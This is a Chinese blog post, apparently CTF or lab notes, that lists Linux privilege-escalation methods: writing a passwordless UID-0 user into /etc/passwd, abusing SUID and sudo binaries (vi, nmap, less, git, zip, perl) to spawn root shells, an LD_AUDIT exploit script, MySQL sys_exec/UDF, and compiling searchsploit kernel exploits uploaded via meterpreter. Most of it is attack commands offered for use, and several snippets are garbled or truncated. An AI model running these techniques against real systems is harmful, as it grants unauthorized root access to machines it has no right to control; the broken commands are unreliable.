Linux提權的N個方法

2021-10-21 17:44:41 字數 3168 閱讀 6079

將john寫入root使用者組裡

echo "john::0:0:::/bin/bash"

| sudo teehee -a /etc/passwd

要被分配root許可權 ,檢視命令find / -perm -u=s -type f 2>/dev/null

select sys_exec

("usermod -ag admin 使用者id");

原理admin使用者組具備root許可權,通過mysql資料庫將當前使用者加入至具有root許可權的使用者組

要被分配root許可權 ,檢視命令find / -perm -u=s -type f 2>/dev/null

vi

然後進入esc就是退出時要輸入wq1那裡

:!/bin/bash

vi命令需要具有root許可權

要被分配root許可權 ,檢視命令find / -perm -u=s -type f 2>/dev/null

版本5.0一下

*進入nmap互動模式 *

nmap --interactive
!sh提權即可

要被分配root許可權 ,檢視命令find / -perm -u=s -type f 2>/dev/null

核心sudo沒有該命令失效

touch exploit

sudo -u root zip exploit.zip exploit -t -unzip-command="sh -c /bin/bash"

核心pinggcc沒有則無法實現

vi 2.sh
unset ld_audit

rm -r -f /tmp/exploit

mkdir /tmp/exploit

ln /bin/ping /tmp/exploit/target

exec 3< /tmp/exploit/target

ls -l /proc/$$/fd/3

rm -rf /tmp/exploit

ls -l /proc/$$/fd/3

cat > program.c << _eof

void __attribute__((constructor)) init()

_eof

gcc -w -fpic -shared -o /tmp/exploit program.c

ld_audit="\$origin" exec /proc/self/fd/3

unset ld_audit

chmod 777 2.sh

./2.sh

要被分配root許可權 ,檢視命令find / -perm -u=s -type f 2>/dev/null

bash -p
要被分配root許可權 ,檢視命令find / -perm -u=s -type f 2>/dev/null

awk 'begin

'

sudo perl -e "exec '/bin/sh' "

bash -i

要被分配root許可權 ,檢視命令find / -perm -u=s -type f 2>/dev/null

less /etc/passwd

!/bin/sh

拿到shell後進入開始尋找

cat /etc/passwd   (檢視是否存在高許可權使用者)

cd /home (進入高階使用者目錄檢視檔案)

(進入其他使用者目錄,檢視檔案尋找密碼,一般來說都可以通過歷史history,wordpass)

然後登入sudo 使用者名稱

步驟和其他服務(exim4,apache,linux核心…)查詢一樣的都是searchsploit加服務然後上傳執行

searchsploit screen 版本號
cat *.sh

一般來說這些s**件都要拆分出來用,會吧會拆分吧

use deneme;

show tables;

select * from user;

(檢視使用者資訊即密碼,並嘗試通過其密碼進行登入root。)(注

:不同版本命令不一樣如果有加密的拿去解密,別和我說你不會解密qaq)

通過檢視作業系統核心版本找到對應的c檔案(算了當你們不會)

searchsploit linux kernel ?.?.?

gcc ?.c -o shell

應該會上傳檔案吧(算了當你們不會)

下面這東西都知道吧,提權進入的介面

meterpteter > upload /root/shell

meterpteter > chmod 777 shell

要被分配root許可權 ,檢視命令find / -perm -u=s -type f 2>/dev/null

sudo git help add

sudo git help config

sudo git -p help

三選一

!/bin/bash
要被分配root許可權 ,檢視命令find / -perm -u=s -type f 2>/dev/null

sudo /usr/bin/vi /tmp/jin
要被分配root許可權 ,檢視命令find / -perm -u=s -type f 2>/dev/null

morpheus 'begin '

Linux提權思路

檢視系統發行版本cat etc issue或者cat etc release,檢視核心資訊uname a。根據版本資訊使用searchsploit 來查詢發行的核心版本是否存在核心溢位漏洞,如果存在漏洞可以直接利用漏洞 來提公升許可權 上傳漏洞 使用gcc c o exploit將 編譯成名為exp...

linux下 udf提權 mysql udf提權

前言 udf user defined function 即 使用者自定義函式 檔案字尾為 dll 常用c語言編寫。通過在udf檔案中定義新函式,對mysql的功能進行擴充,可以執行系統任意命令。將mysql賬號root轉化為系統system許可權。思路 1.將udf檔案上傳到指定位置 sqlmap...

三個給程序提權的方法

三個給程序提權的方法 方法一 c c code bool enabledebugprivilege if lookupprivilegevalue null,se debug name,sedebugnamevalue tkp.privilegecount 1 tkp.privileges 0 lu...